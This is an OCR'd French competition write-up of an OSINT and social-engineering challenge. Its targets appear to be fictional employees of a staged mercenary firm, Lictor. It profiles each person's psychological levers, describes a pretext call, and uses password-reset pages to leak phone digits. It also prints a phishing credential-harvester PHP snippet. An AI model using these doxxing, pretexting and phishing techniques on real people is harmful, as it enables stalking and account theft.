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Presentation des agentes

Christine Granville

Christine Granville, adepte de social engineering, est tres
persuasive. Bébé, elle hacka le code de sortie de la matrice de sa
mére. Enfant, le lockpicking était son activité extra scolaire favorite.
Aujourd’hui a 'agence WoSEC Paris, rien ne lui résiste, ses deux
acolytes préférées (Ash et Lucy Elizabeth) et elle sont chargées des
missions les plus périlleuses.

Ash

Main de fer dans un gant de velour, Ash a toujours su se démarquer
par son go(t pour la castagne et les excursions a hauts risques. Ses
passions dans la vie : le cassage de genoux et les vidéos de bébés
axolotls’. Elle a rejoint récemment I'équipe WoSEC Paris en vue de
mettre a profit ses compétences d’ingénierie sociale - et aussi pour
apprendre a tirer les vers du nez d’'une source sans qu’elle finisse en
kit IKEA.

Lucy Elizabeth Smith

Passionnée depuis sa plus tendre enfance par les énigmes,
investigations, messages codés et globalement tout ce qui fait des
noeuds au cerveau, Lucy a un jour décidé de mettre ses talents au
service de 'agence WoSEC Paris.

" https://twitter.com/naturelslit/status/1145187662610882560



https://twitter.com/naturelslit/status/1145187662610882560
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Contexte

> Jeudi 27 juin 2019. Locaux de 1’agence WoSEC, Paris.

Les agents DUPONT et MARTIN sont entrés en contact avec WoSEC pour nous confier une
nouvelle mission de la plus haute importance.

Dans le cadre de la mouvance des Bérets Jaunes, une entreprise répondant au nom de
Lictor est en charge du maintien de I'ordre durant les manifestations des Bérets. Toutefois

les activités de I'entreprise soulévent des questionnements quant aux réels objectifs qu’elle
poursuit. Lictor pourrait bien étre derriére une action de grande envergure visant a porter

atteinte a la République Démocratique ™.

Notre but est donc d’étudier cette entreprise, analyser les profils de 'ensemble de son
personnel et son entourage, en vue d’une rencontre possible avec les employés de Lictor.

Notre point de départ : le site de I'entreprise https://lictor.fr/.

Préesentation de [I'entreprise
cible

LICTOR

Logo de I’entreprise Lictor

Informations géneérales

L’accés au site de Lictor (https://lictor.fr/) nous améne directement a visionner la vidéo de
présentation de 'agence. On y apprend que Lictor, du nom des officiers romains en charge
de la garde rapprochée des grands magistrats, est une entreprise de sécurité aux méthodes
drastiques.


https://lictor.fr/
https://lictor.fr/
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Elle offre notamment des services de :

analyse de risques et menaces ;

mise en place et suppression de dispositifs d’écoute ;
sécurité rapprochée ;

opérations cyber-offensives.

Lictor propose également des formations dans des domaines variés : cours de conduite en
situation critique, stages de tirs, us et coutumes des agents de sécurité, sports de combat,

Une adresse de courriel est donnée sur la page de contact : contact@lictor.fr.

En l'espace de quelques minutes, nos agentes récupérérent la listes des employés sur
Linkedin. Quelques recherches supplémentaires - détaillées plus loin - leur permirent de
mettre des noms sur les différents profils :

Liliana DELOUP : Ingénieure d’affaire

Contact Lictor : Customer Support Specialist

Fikret Sprital : Responsable logistique chez Lictor

Jacques POIREAUX : Responsable sécurité rapprochée

Gustave L. : Administrateur général chez Lictor

Talisa Nala : Office Manager chez Lictor

©


mailto:contact@lictor.fr
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e Charles MARTIN : Agent de sécurité

m Matthias Muller : Responsable du service de formation chez Lictor
T

Par ailleurs, une recherche du nom du site sur Google pointe en premier résultat le profil de
I'entreprise sur Trustpilot, une plateforme de revues clients :
https://www.trustpilot.com/review/www.lictor.fr.

On y récupére au passage le numéro de téléphone du standard de I'entreprise :

06 51 34 56 17.

Voyant cela, 'agente Ash se porta volontaire pour prendre contact avec Lictor. Sa mission :
trouver un scénario réaliste pour approcher sa cible.

Elle choisit donc de s’appuyer sur les récents événements de Hong Kong, ou de titanesques
manifestations étaient organisées a I'encontre de I'amendement de la loi d'extradition par le
gouvernement de Hong Kong.

L’agente Ash devait donc se faire passer pour la représentante d’'un grand ponte de la
diaspora chinoise, qui, mécontent de ces mouvements, souhaitait se débarrasser des
individus a la téte des manifestations. Ash prévoyait méme de jouer la comédie jusqu’au
bout en traduisant en chinois les grandes lignes des interactions avec I'employé de Lictor a
un interlocuteur fictif sinophone... mais tout ne se passa pas comme prévu.

Si notre agente réussit a recueillir des informations comme convenu, Ash réalisa au moment
ou I'employé décrocha le téléphone que son expérience en improvisation théatrale se
réduisait aux maintes fois ou, petite, sa mére débarquait dans sa chambre, batte de baseball
a la main, pour exiger des explications quant a I'éniéme disparition de sa boite a cookies.
Quand I'employé de Lictor s’emporta face aux doutes de notre agente vis-a-vis de l'efficacité
du service de mercenaires, Ash su que cette fois reporter la faute sur son frére cadet ne
serait pas la solution. Mais comme le souligna I'agente, “on s’en bat les gonades, de toute
fagcon méme I'employé n’avait pas l'air si sérieux que cela : on I'entendait sourire a 'autre
bout du combiné”.

L’enregistrement est disponible ici :
http://www.nonotesvoice.com/play.asp?i=992979-f24f09d64d064a1897fdb9604d05e3df



https://www.trustpilot.com/review/www.lictor.fr
http://www.nonotesvoice.com/play.asp?i=992979-f24f09d64d064a1897fdb9604d05e3df

Ci-dessous les informations récoltées au cours de la discussion et des mails échangés par
la suite? :
- Lictor est composé en partie d’anciens légionnaires.
- lls se sont occupés du piratage de la boite de messagerie de Clinton.
- lls ont déja di récupérer et acheminer du lithium.
- lls démentent tout lien avec les Bérets Jaunes et s’indignent a l'idée d'y étre
associés.
- Lictor est trés attaché au sens de I'honneur et de la fierté.
- Pour un contrat extraction d’'informations + assassinat discret, pour 5 cibles, le devis
par cible est le suivant :
- Prévoir une semaine d’OSINT par cible.
- Besoin de 4 agents sur le terrain, chacun payé 1 200€/jour.
- Ces agents se déplaceront a Hong Kong, mais les frais de déplacement et de
bouche seront a la charge du client.
- Le prix par personne s’éleve a 440 000€ une fois la cible récupérée. Pour 5
cibles, Lictor convient de baisser le prix a 400 000€.
- Cordonnées bancaires®.

Analyse de la vidéo de preésentation

Nous allons a présent tacher d’observer de plus prés la vidéo de promotion de Lictor. Il s’agit
d’'une vidéo a I'ambiance anxiogéne faisant la démonstration de la force et I'efficacité des
services fournis par Lictor. En guest star : le grand, I'habile, agent Dupont (0°25”, 1°38” et
1'45”).

2 voir Annexe A

3 voir Annexe C
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1’06” : Bodyguarding

|

.

Service de garde rapprochée

Dans ce passage ou I'entreprise nous montre la compétence de son personnel de protection
rapprochée, on note la présence du numéro 50 sur la bordure supérieure bleue lavande (si,
si) ainsi que le reflet dans la vitre d’arches couleur briques. Voyant cela, 'agente Smith
s’apprétait a se saisir de ses meilleurs outils d’'OSINT, quand elle fut soudain interpellée par
un de ses proches qui passait derriere elle. « Hey mais LOL ! C’est le 50 avenue
Daumesnil ga ! », dit-il. L'agente Smith jeta un regard noir a celui qui venait de lui gacher son
plaisir d’investiguer, mais le remercia néanmoins d’un hochement de téte approbateur. Les
sources humaines restent des ressources appréciables dans le monde de 'OSINT, méme
quand elles ne sont pas sollicitées directement.

10
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1'20” : Combat Training
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Charmante visite du 12éme arrondissement de Paris

Une recherche d'image inversée a permis de déterminer que le batiment ci-dessus n’était
autre que le commissariat du 12éme arrondissement de Paris.

Paris, lie-de-France

2 Google

Commissariat du 12éme - vue Street View

11
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1'28” : In Our Secret Gym

Salle de sport

Nous sommes ici face a un batiment municipal en partie flouté. Une recherche sur Google

concernant les gymnases parisiens nous apprend qu’il s’agit du Gymnase Daumesnil (74
avenue Daumesnil), ce qui est confirmé par les photos Street View :

74 Avenue Daumesnil
Paris, Tle-de-France

2 Google

Tm
(L]
4

asn
T
Ul

Salle de sport - vue Street View

12



Spying Challenge 2019 - Team WoSEC

On notera au passage le floutage d’'une zone fixe sur la vidéo. Il en va visiblement du
respect de la vie privée d’un panneau d'affichage associatif :

Salle de sport - panneau d’affichage

Nos agentes se sont interrogées sur les intéréts de cette retouche vidéo. Soit I'entreprise
souhaitait cacher des éléments critiques pour leur activité, soit il s’agissait de ne pas avoir
d’ennuis avec la mairie du 12éme arrondissement. Ne décelant aucune information
compromettante sur le panneau en question, nos 3 émérites agentes optérent pour la

seconde option.

1'33” : Cyber Threat Management

CYBER THREAT MANAGEMENT
AND INTRUSION

Mes cours de techno au collége

13
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On repére ici le logo d’'une entreprise répondant du nom de “Colt”. Via le profil d’'un des
employés, nous remontons jusqu’a la société en question et apprenons qu'elle est
spécialisée dans la vente d'arme (https://colt.com/). Nous espérions pouvoir repérer
l'adresse physique de Lictor, mais la résolution de I'image ne nous a pas permis de le
réaliser.

Jack Barrel
Expert chez Lictor

Autres compétences

Expertise armes de guerre Opérations clandestines

Voir moins ~

Centres d'intérét

National Rifle Association Colt's Manufacturing Company LLC
15 514 abonnés @':r 7 320 abonnés

Utilisation du profil de Jack BARREL pour remonter a Colt

Un autre point a noter dans cette capture d’écran est la présence d’'une lettre portant
'en-téte de 'ambassade du Vénézuela :

Focus sur I’'en-téte de la lettre

14


https://colt.com/

Spying Challenge 2019 - Team WoSEC

Nos agentes commenceérent a se poser de plus en plus de questions. Qu’est-ce qu’'une
entreprise actuellement en charge de I'encadrement d’'un mouvement populaire en France
pouvait bien faire avec cette ambassade étrangére ?

1'40” : Cyber Intelligence

i NIE 'Y
GYBER INTELL

Chic, chic, chic, ils font une réduc’ de 10% sur le Beretta 92 aujourd’hui !

Une personne apparait face a un navigateur ouvert sur une page de vente d’armes en ligne.
Les 3 passeports sur la table fraichement sortis d’'une enveloppe suggérent que Lictor ne
s’embarrasse pas beaucoup avec les concepts d’identités dans le cadre des missions qu’il
confie a ses employés.

La personne figurant dans cette scéne s’avére étre Liliana DELOUP, reconnaissable a ses
méches violettes.

N Yo |
B N =
'y A g

"X GYBER INTELLIGENCE

g > <

A

15
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On voit différentes revues et un livre :

- ;‘2%?’0'.

- L’annuaire de la sécurité (http://www.annuaire-securite.fr/)
- Le livre “Essential guide to interrogation and torture” (CIA KUBARK)
- Fait référence a ceci : “The U.S. Army and CIA interrogation manuals are
seven controversial military training manuals which were declassified by the
Pentagon in 1996. “
Nou avons aussi repéré une boite Amazon, avons cherché un compte au nom de Lictor, et
testé les différents numéros que nous avions pour Lictor dans le formulaire de mot de passe

oublié, mais sans succes.

1'45” : Spotting

|n

“Oui. Ce sera une pizza 4 fromages medium au nom de René s’vous plait.”

16
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Nos agentes ont noté la présence d’un genre de pin’s au niveau du col des employés en
costume. La résolution de la vidéo et la taille relativement petite de I'objet font que cette
question a été laissée en suspens. Cela pourrait peut-étre étre un badge Lictor.

Q

LICTOR

Sur le panneau derriére, 'agente spéciale Smith pensa discerner “Rue de Rambouillet” :

Aprés quelques recherches, voyant qu’il y avait une rue de ce nom prés de l'avenue
Daumesnil, elle finit par retrouver cet endroit :

e | |

N

i - e e -
' i e e

https://www.google.com/maps/@48.8445362,2.3816173,2a,75y,111.39n,94.49t/data=!3m6!1
e1!13m4!1sSOmSi7ekTEpdwM-rSmrsdw!2e0!7i1331218i6656

17
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1'54” : Elimination of Unwelcome People

ELIMINATION OF
UNWELCOME PEOPLE

Enterrement de vie de gar¢gon mouvementé

Cette scéne montre une voiture de la marque Infiniti, modéle Q30 noire. La plaque
d’'immatriculation a surpris nos trois agents, qui n'ont su que faire des deux informations qui
ressortaient de cet extrait :
- un numéro : 09-CC-001 ;
- sa couleur : noire, réservée aux voitures de collection en France, ce qui ne semble
pas concerner cette voiture moderne.
Le compte twitter de la Centrale nous donne la méme voiture sous un autre angle.

Autre angle de la voiture

18
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Autres faits sur le site

Nous avons regardé s'’il y avait un snapshot de Lictor.fr sur la Wayback Machine, etily en a

bien un:
INTERNET ARCHIVE Explore more than 366 billion web pages saved over time

I"H!Iﬂa[:“"‘ﬂﬂmnu lictor.fr
- Collections - Changes - Summary - Site Map

Saved 1 time June 27, 2019.

2002 2003 2004 2005 2006

Nous n’y avons cependant décelé rien d’intéressant.
Nous avons aussi constaté que le site n’est pas dans le cache de Google.

A noter aussi que le Whois n’a rien donné d’intéressant.

2007 2008 2009 2010 2011 2012 2013 2014 2015 2016 2017 2018 [pedelRl]

19



Fiches employes

Liliana DELOUP

Nom DELOUP

Prénom Liliana

Contacts E' l.nigromante@yahoo.fr
B 07 *%k k% k% 29

Réseaux ' https://twitter.com/DeloupL
sociaux

m https://www.linkedin.com/in/liliana-delou
p-333294188/

https://eu1.badoo.com/profile/07122325
72

:1 https://www.hellboundhackers.org/user/
E L4NigrOm4nt3.html

S‘r https://14nigrO0m4nt3.skyrock.com

O https://github.com/L4NigrOm4nt3

Biais Ego, soif d’apprendre (hacking), intérét pour
CEHVEE:[- T [es hommes plutét marqué

Notes Aime les protéines pour le sport

Nous l'avons découverte par la liste des employés de Lictor sur LinkedIin. Nous I'avons
ensuite rapidement trouvée sur Twitter.



https://twitter.com/DeloupL
https://www.linkedin.com/in/liliana-deloup-333a94188/
https://www.linkedin.com/in/liliana-deloup-333a94188/
https://eu1.badoo.com/profile/0712232572
https://eu1.badoo.com/profile/0712232572
https://www.hellboundhackers.org/user/L4Nigr0m4nt3.html
https://www.hellboundhackers.org/user/L4Nigr0m4nt3.html
https://l4nigr0m4nt3.skyrock.com/
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Sur son LinkedIn, on y apprend son parcours professionnel orienté marketing :

Expérience

~ ingenieure d'affaire
Lictor

LICTOR

Commerciale indépendante

Deloup inc.

mars 2017 — janv. 2019 - 1an 11 mois
Pays-Bas

Formation

HEC HEC Paris

""" 2010 - 2016

En outre, elle aime le Sénégal, et a quelques amis la-bas.

S

Liliana Deloup - 2= e

Ingenieure d'affaire chez Lictor
Quel beau pays le Sénégal <3
& - 3 Jaime E - 4 commentaires

Charger les réponses précédentes

a Liliana Deloup - 2e Gii

Ingenieure d'affaire chez Lictor

Qui, j'y ai passé quelques vacances, c'était top !! J'aimerais
beaucoup y retourner :} J'ai quelques amis la bas

ﬂl - 1 Jaime =]

21
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Sur son Twitter, on apprend :
- qu'elle aime le fitness ;
- qu’elle est a la recherche d’'un compagnon ;

Deloup Liliana @Deloupl - Jun 25 Si seulement je pouvais rencontrer quelqu'un
Boys bpys boys <3 de sympa..... ;)

- qu’elle aime beaucoup la ville de Breda, aux Pays-Bas (Google images inversé).

Best city of thé world <3

22
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Ci-dessus sa photo de profil sur LinkedIn. L'ordinateur derriére elle nous permet de savoir
qgu’elle utilise Discord, notamment sur un chan potentiellement appelé “HackThePlanet”.
Cette piste n’a cependant mené a rien... du moins au début.

Sa photo de profil sur Twitter nous en a appris bien plus !

23
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Le ‘b’ sur I'écran de gauche, conjugué a sa quéte trés appuyée d’un compagnon, donna une
idée soudaine a I'agente Smith. Ni une ni deux, elle se précipita sur le site badoo.fr, créa un
compte, et alla voir le format des adresses des profils. Et c’est alors qu’elle a compris que la
description de Liliana sur Twitter n’était pas un numéro de téléphone, mais I'adresse de son
compte !

eul.badoo.com/profile/0712232572

Deloup Liliana
@Deloupl

profile/0712232572 bOdOO

E5 Joined June 2019

Liliana Deloup, 33 @ &2« fr=

Ingénieure d'affaire

Emploi

Ingénieure d'affaire

Emplacement

Paris, Paris

Je suis ici pour

Sortir avec un mec qui a entre 32 et 45 ans

24



Spying Challenge 2019 - Team WoSEC

Nous avons ainsi récupéré beaucoup d’informations :
son age, certains de ses intéréts, et d’autres informations trés... hum... personnelles :

9 centres d'intérét

HE Expendables 4 Voyages ¥ Expendables 2 H Fitness & Gym
i@ Amis HH Expendables 3 HE Bodybuilder & Bodyguard

i@ Reebok crossfit

Informations personnelles

Je suis ici a la recherche de relation non sérieuses. J'aime les bons gros blackos bien
barraqués ;)

J'aime aussi les films de gladiateurs.

Si tu en as dans le pantalon, donnes le nom de ma boite favorite ;)

Relation: Je suis célibataire

Sexualité: Je suis ouverte d'esprit
Apparence: Mince, cheveux noirs, yeux noirs
Résidence: En colocation

Tabac: Je ne fume pas

Alcool: Je bois beaucoup

Langues

Francais

25
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Mais cela ne s’arréte pas la !
En effet, en analysant la deuxiéme photo, on remarque quelque chose :

@

.,-n“.l. P

ALy ervol

. L4NIigrOmdnt3 o
. ROOH

Revene o
.wqmu ®

Tu phem

Comppliniy Wirdewy 1 7

. Pioiboy300g . ROOk 1+
@ i

B Moouy
Blaip

LT
Biwdeyy 0 O nijyrg M|

. liﬂmu

Puisqu’elle est en ligne, on en déduit que son pseudo est L4NigrOm4nt3.

26
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Une rapide recherche sur Google nous méne a ce forum:
L4NigrOm4nt3

= Offline

General Information
Email Address: Not Specified
Location:
Birthdate:
ICQ#:
MSN ID: Not Specified
Yahoo ID: Mot Specified
AIM: Not Specified
Rank: Guest
Member
= URL: https:/ /14nigrom4nt3.skyrock
Statistics
Date Joined: June 16 2019 - 22:55:07
Shoutbox Posts: 0
Comments Posted: 0
Forum Posts: 1]
Last Visit: Not Specified
Point Ranking unranked
Community Points 0
Member Status: Member

Challenges Points:
Basic Challenges

Flash Challenges
Javascript Challenges
Realistic Challenges
Rooting Challenges
Application Challenges
Encryption Challenges
Logical Challenges
Social Challenges

Stegano Challenges

Tracking Challenges
Patching Challenges

App Patching Challenges

On connait maintenant sa date de naissance ! Encore plus intéressant, on a un site a
chercher (le fameux vieux skyblog oublié, qui attend quelque part sur internet que quelqu’un
retombe dessus et le sorte de sa poussiére, et fasse vouloir se cacher dans un trou de
souris le bienheureux propriétaire) : https://I4nigrOm4nt3.skyrock.com

°

o Partager 27 commieritaires

.

—
HACKED

y
Blog de LANigrom4nt3 gg
Sluuut ck. m

Créafion': 28/06/2019 & 00:44 g -~ Mise & jour : 28/106/2019 3 01:41

utuuuy, issijvé posté pl1 de truc de ackSilals ¢ pr apprendr 1 OLOL
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On farfouillant un peu, nous sommes tombées sur ces commentaires :

t3, Posté le lundi 01 juillet 2019 11:18

a écrit : "troppppp kewwwill. tu es top toi. t as des box avec des shells live?"

"en ai mais c'est a moi | Par contre tu peux te faire les mémes, j'ai mis le des sur mon G

, Posté le lundi 01 juillet 2019 00:17
troppppp kewwwlll. tu es top toi. t as des box avec des shells live?

i3, Poste le dimanche 30 juin 2049 23.22
| a écrit : "Tu share le code plz? <3"
il est sur mon giteub ! ;)

. Poste le dimanche 30 jun 2019.21:20

Tu share le code plz? <3
o

Son Giteub...? :)
Qu’a cela ne tienne, allons donc sur Github !
https://qithub.com/I4nigrOm4nt3

. . . Overview Repositories 6 Projects 0 Stars 0 Followers 0 Following 0

Popular repositories

phishing webshell

Forked from tennc/webshell

@ rHp @®rHP
Moar-webshells phishing-kits-1-found
L4N|] rOom4nt3 Forked from packetrat/phishing-kits-I-found

Research only!

(© Joined 22 days ago

@ rHP
Block or report user
HiddenEye c99shell-decoded
Forked from DarkSecDevelopers/HiddenEye Forked from 4Hackerz/c99shell-decoded

Decoded version of web shell

@ HTML @rHP

Et nous sommes aussi ainsi tombées sur cette adresse :
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& L4Nigrom4nt3 Create BT-flouz

1 contributor

24 lines (21 sloc) 746 Bytes

<2

$ip = getenv({"REMOTE_ADDR");

fmessage .= M-------oo-oo-- ALL "EMATL === ss s s s b \n";

fmessage .= "Email Address : ".% POST['uw’]."\n";

$message .= "Password : ".$ POST['p']."\n";

$message .= "IP: ".%ip."\n";

fmessage .= Mo---o--o-o-o- - Created By L4Nigr@mdnt3--------------------- \n";
$recipient = "l.nigromante@yahoo.com”;

$headers = "From: NEW BT <new@bt.com>";

$subject = "GIMME YOUR FLOUZ";

Les derniéres informations extraites de cette piste étaient quelques chiffres de son numéro
de téléphone :

YAHOQ!

FRANCE

l.nigromante@yahoo.fr

Si vous avez accés a ce téléphone,
complétez les chiffres manquants

07 ** ** 29

Envoyer

Je n'y ai pas acces

Cette information est confirmée sur Twitter :
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Deloup Liliana
@DeloupL

We found the following information associated with your account.

® Text a code to my phone ending in 29

Sinon, son blog nous apprend qu’elle est trés intéressée par le hacking. Elle semble aussi
peut-étre commander des choses sur le Darknet et intéressée par I'achat d’outils de hack

(RAT, malwares, ...).
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Aussi, elle joue aux jeux vidéos (fond d’écran du jeu Fallout, elle a Steam, Battle.net,

Mumble), et utilise aussi Skype. Nous ne l'avons cependant pas trouvée sur ces
applications.

Il y a de grandes chances qu’elle soit liée a ces activités de Lictor :
Cyber-opérations offensives

Nom SPRITAL

L.“T lr““*‘iT = Prénom Fikret

B

Ré : i . i i
%ts éseaux , https://twitter.com/FikretSpritz
¥ sociaux

m https://www.linkedin.com/in/fikret-sprital
-566674189/

Biais Idéologie
envisagés
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Nos agentes ont d’abord analysé le Twitter de Fikret. C’est d’ailleurs en tapant le début de
son pseudo dans la barre de recherche linkedin qu’elles ont trouvé son nom complet.

En regardant ce qu’il suit/like/retweet, nous constatons différentes choses:

- Le Kosovo revient souvent: “Deputy prime and minister of foreign affair of Kosovo”,
“United Nation in Kosovo”, “5th president of the Republic of Kosovo”, Ministére des
affaires étrangéres du Kosovo, European Union Kosovo, France au Kosovo.

- Son intérét pour les jeux vidéos: Le jeu Doom (qui revient souvent), Oculus VR,

- Le sport: sports de montagne, salles d’escalade.

- Les armes: le jeu Doom (oui oui! le choix d’armes dans Doom est assez fourni),
“American Rifleman”, NRA, NRATv (on sait jamais au cas ou une nouvelle arme
sorte il lui faut 'exclu !).

On notera également que Liliana et lui se suivent réciproquement (c’est beau la solidarité
professionnelle !).

Dans les retweets nous avons pu noter sa sympathie pour la Kosovo Liberation Army et les
tactiques violentes :

T Fikret Spritz a retweeté

@ Admirim @ @admirim - 27 juil. 2018 v
' "1 will not condemn the tactics of the Kosovo Liberation Army because the
path of nonviolence has gotten us nowhere. People who live under this kind of

repression have the right to resist."
-- Adem Demaci, New York Times, March 13, 1998

Q 3 = 23 Q) 66 0y
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Au niveau de ses tweets une photo a attiré I'attention de nos agentes:

luge

LE MAGAZINE DFS AC

Trés présente dans le paysage Russe (sous couverture en tout cas) l'agente Ash
demandé a un de ses contacts de traduire le texte:
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Google Traduction

Russe Doy Anglais

Ecnu y Bac BO3HUKHYT npobnemsl,
painTe MHe 3HaTb. Co Bcel Moel
yBepeHHOoCTbio, Bopucnae OparosBuy

Dorogoy Fikret, y govor chno tsena za 5...

7 44 g

Appar...photoEcr....nuscrite Conversation Voix

) ANGLAIS kg

Dear Fikret, are you talking about
the price for 50 AKM, about which
Oh my client needs him with By

phone the other day? | need a star.
Don't forget our meeting on June
29th. If you have any problems let
me know. With all my confidence,
Borislav Drarovich

On comprend donc qu’il a eu un rendez vous le 29 juin en rapport avec du trafic d’'armes. |
est en effet également en train de négocier des prix pour des AKM (fusils d’assault).
Nous notons d’ailleurs que ce tweet a été liké par Lictor, un certain “Simon Bouchard” qui
aime aussi le jeu vidéo Doom.
Mais étant donné la liste de son profil nous ne nous sommes pas attardé sur lui:

Tweets Following Followers Likes Lists

2 26 2 6 1

Subscribed to

OSINT by Stefan Voss 4 E
Open Source Tools ' y
58 Members

Il s’agit certainement d’'un agent qui souhaiterait nous faire de 'ombre (nous en profitons
pour lui souhaiter bien du courage).

D’autre part, un certain Sasha Kusnetsov a également liké et a envoyé un tweet a Fikret
mais étant donné la réponse de Fikret, ceci n’a pas longtemps attiré notre attention non plus:
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Sasha Kusnetsov e
@SKusnetsov e i,
Hey @FikretSpriiz, long time no see. How are
you holding up?
06:57 - 3 juil. 2019

Q1 i | Y,

Fikret Spritz @FikretSpritz - 14h e
En réponse & @SKusnetsov

Hey Sasha, | don't remember you, but |'ve came across many brothers with the
same name in the old days, so who knows.

=
Q 10 v,

Une procédure de résiliation de mot de passe Twitter nous permet d’obtenir les deux
derniers chiffres de son numéro de son téléphone:

Fikret Spritz
@FikretSpritz

We found the following information associated with your account.

= Text a code to my phone ending in 60

Penchons nous maintenant sur son parcours que nous pouvons connaitre via Linkedin: Il fut
soldat au Kosovo de 1998 a 1999, puis équarrisseur de 1999 a 2010, agent a I'agence de
renseignement du Kosovo de 2010 a 2014, il fut enfin embauché chez Lictor en 2017. I
toutefois important de noter un trou de 3 ans sur son CV (alors Fikret ? On a des choses a
cacher ?).
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Talisa NALA

Nom NALA

Prénom Talisa

Contacts E! talisanala@gmail.com (?)
E! realtalisanala@gmail.com
B *%k k% kk k% 70 (?)

B *%k k% kk k% 02

B +337 67 56 39 48

Réseaux m https://www.linkedin.com/in/talisa-nala-
sociaux b5701718a/

@ https://www.instagram.com/talisanala/

Biais L’argent ? Sans certitude.
envisagés

Notes S’entendrait particulierement bien avec Liliana

Nous I'avons tout d’abord vue dans la liste des employés sur Linkedin.
Elle a cette description sur sa page de profil :

Infos

Cannot say too much about my career, but feel free to have a look on my hobbies through my Instagram and my Gmail
account. | love life and food (and to be honest | prefer food over life ;) ).

Nous avons donc facilement retrouvé son Instagram : https://www.instagram.com/talisanala/
et son adresse Gmail, peut-étre talisanala@gmail.com (hypothése).
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D’ailleurs, cette adresse mail nous permet d’obtenir les 2 derniers chiffres de son numéro de
téléphone, ainsi que potentiellement la marque de son mobile :

Google

Récupération de compte

Cela nous aide a vérifier que ce compte vous
appartient

@ talisanala@gmail.com «

Obtenez un code de validation

Pour obtenir un code de validation, confirmez d'abord le
numéro de téléphone que vous avez ajouté a votre compte
(v+= ==+ =+70). Les tarifs standards s appliguent.

N* de téléphone
il [ |

Google

Recuperation de compte

Cela nous aide a vérifier que ce compte vous
appartient

@ talisanala@gmail.com v

Accédez a votre Mobicell V4

Sa photo de profil sur LinkedIn a gauche, une photo sur son Instagram a droite.
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Sur celui-ci, on apprend :
- une adresse mail dont on est cette fois sdres : realtalisanala@gmail.com ;
- qu’elle voyage beaucoup : Londres, Tirana (Albanie), Santorini (Gréce), Paris ;
- elle aime la beauté (faux ongles, faux cils, ...) ;
- elle est peut-étre aussi mannequin

My fav part of the shooting: relax time ¢3
#wine #model #life #love #whitewine

elle a un chien, appelé QueenX.

Le nom du chien pourrait étre utilisé dans une wordlist pour générer de possibles mots de
passe si nos agentes étaient amenées a pirater sa boite de courriels.
Pour cette adresse mail :

Google

Récupération de compte

Cela nous aide a vérifier que ce compte vous
appartient

@ realtalisanala@gmail.com v

Obtenez un code de validation

Pour obtenir un code de validation, confirmez d'abord le
numero de téléphone que vous avez ajouté a votre compte
(= += == =+ 02). Les tarifs standards s appliquent.

Aussi, elle a posté une photo avec un numéro de téléphone :
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L’adresse de son compte Instagram semble étre realtalisanala@gmail.com.
2-mdll €1 Nous VOUS enverrons urn nen pour
récupérer votre compte.

talisanala

Envoyer un lien de connexion

Merci ! Veuillez accéder aux r*™*****a@gmail.com pour obtenir un lien de réinitialisation du mot de passe.

Aussi, elle et Liliana ont I'air de bien s’entendre :

Talisa Nala - 2e
Office Manager chez Lictor
15h

Le métier d'office manager revient a gérer la vie des bureaux. Il n'y a donc personne
de plus connecté aux différents départements de notre si belle entreprise que moi
;). J'entretiens le lien et en créé si besoin entre les commerciaux et les ingénieurs, les
managers et I'équipe. J'aime mon métier et je suis figre de travailler pour une
entreprise comme Lictor.

0 9 - 3 commentaires

él Jaime E F> Principaux commentaires ¥

. . =
@ Ajouter un commentaire... [O]

Liliana Deloup - 2¢ 15 oo
Ingenieure d'affaire chez Lictor

Que ferait-on sans toi ma ptite Talisa #_* Heureusement que tues la !

& - 1 Jaime E] - 2 commentaires

o Talisa Nala =3 13 R wes

Office Manager chez Lictor

Merci Lili. Tu viens au brunch ce midi ?

ST =
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Pour ce qui est de son expérience professionnelle, LinkedIn nous apprend :
Expérience

- Office Manager

Lictor
oct. 2018 — Aujourd'hui - 10 mois

LICTOR

Office Manager

Secret

nov. 2014 — aolt 2018 - 3 ans 10 mois
South Africa

A noter que “South Africa” corréle avec son Instagram :

Life is short talisababes, but your eyelashes shouldn't be &. Thanks @charlys_cils
for your beautiful work. | love it (3 (3 #eyelashes #extensiondecils #love #talisabab
e #loveyou #babe #beautiful #girl #afrikaans #afrikaansigers #look #summer #gettin
gready #sorrybutnotsorry #beauty

Nous avons aussi relevé un post intéressant au sujet d’'un “projet secret” en Albanie :

@ Paris, France

-

2 weeks ago

Last party with friends before heading to
Albania for a secret project @ & #friends

Son Instagram nous apprend aussi qu’elle est en couple, et peut-étre fiancée.
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Nom BARREL

Prénom Jack

Réseaux m https://www.linkedin.com/in/jack-barrel-
a30a5b188/

sociaux

Notes Est fan de steampunk et customise ses armes
a feu.

Grace a son profil Linkedin nous en apprenons plus sur son parcours professionnel:

Il a été formé a l'infanterie a Saint Cyr de 2002 a 2005, il fut ensuite “capitaine - meneur
d’homme” au Ministere des Armées de 2005 a 2014, enfin il fut expert a ’OTAN de 2014 a
2019. Il intégra Lictor il y a environ deux mois.

Sa photo de profil est d’inspiration steampunk* 'agente Granville I'a su grace a une
recherche sur Google image. Elle s’est ensuite empressée de rechercher des informations
sur le steampunk et elle est tombée sur la page Wikipedia qui y est dédiée.

Selon Wikipedia: “Because of the popularity of steampunk, there is a growing movement of
adults that want to establish steampunk as a culture and lifestyle.” Pensive, 'agente
Granville écarta une méche de son visage, “peut-étre que c’est le cas de Jack!”,
pensa-t-elle, “en tout cas il n’y est pas indifférent.”

4 https://en.wikipedia.org/wiki/Steampunk
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Quelques minutes plus tard, un post avec une photo interpella nos agentes:

4 Jack Barrel - e et + -
Expert chez Lictor
1sem. = Modifié

New job, new toy!

@ Voir latraduction

Etonnée par cet écusson I'agente Granville repris I'outil (qui devint vite son outil de
prédilection) Google image et procéda a 'analyse de I'écusson. C’est ainsi qu’elle tomba sur
le site Aérographe Fockeur® et compris le sens du AF sur I'écusson.
C’est a ce moment la que les questions se bousculérent dans la téte de I'agente Granville :

- “New job new toy” signifie-t-il que Aérographe Fockeur n’est autre que Jack Barrel?

- Jack Barrel a-t-il fait customiser son arme par Aérographe Fockeur ?

- Ou encore Jack Barrel travaille-t-il avec Aérographe Fockeur ?
Toutes ces questions et si peu de réponses. L’agente Granville qui s’était levée de sa chaise
pour prendre un thé s’adossa négligemment a son bureau, inconsciente du charisme qui se
dégageait de son étre. Mais qui était donc ce Jack Barrel? Que cache-t-il ?

5 https://www.aerographe-fockeur.fr/

42


https://www.aerographe-fockeur.fr/

Spying Challenge 2019 - Team WoSEC

Jacques POIREAUX

Nom POIREAUX

Prénom Jacques

Réseaux https://www.linkedin.com/in/jacques-poi
sociaux reaux-638385188/

Biais Attirance pour les femmes
envisagés

Notes N’hésite pas a étre entreprenant sur les
réseaux sociaux professionnels envers une
femme

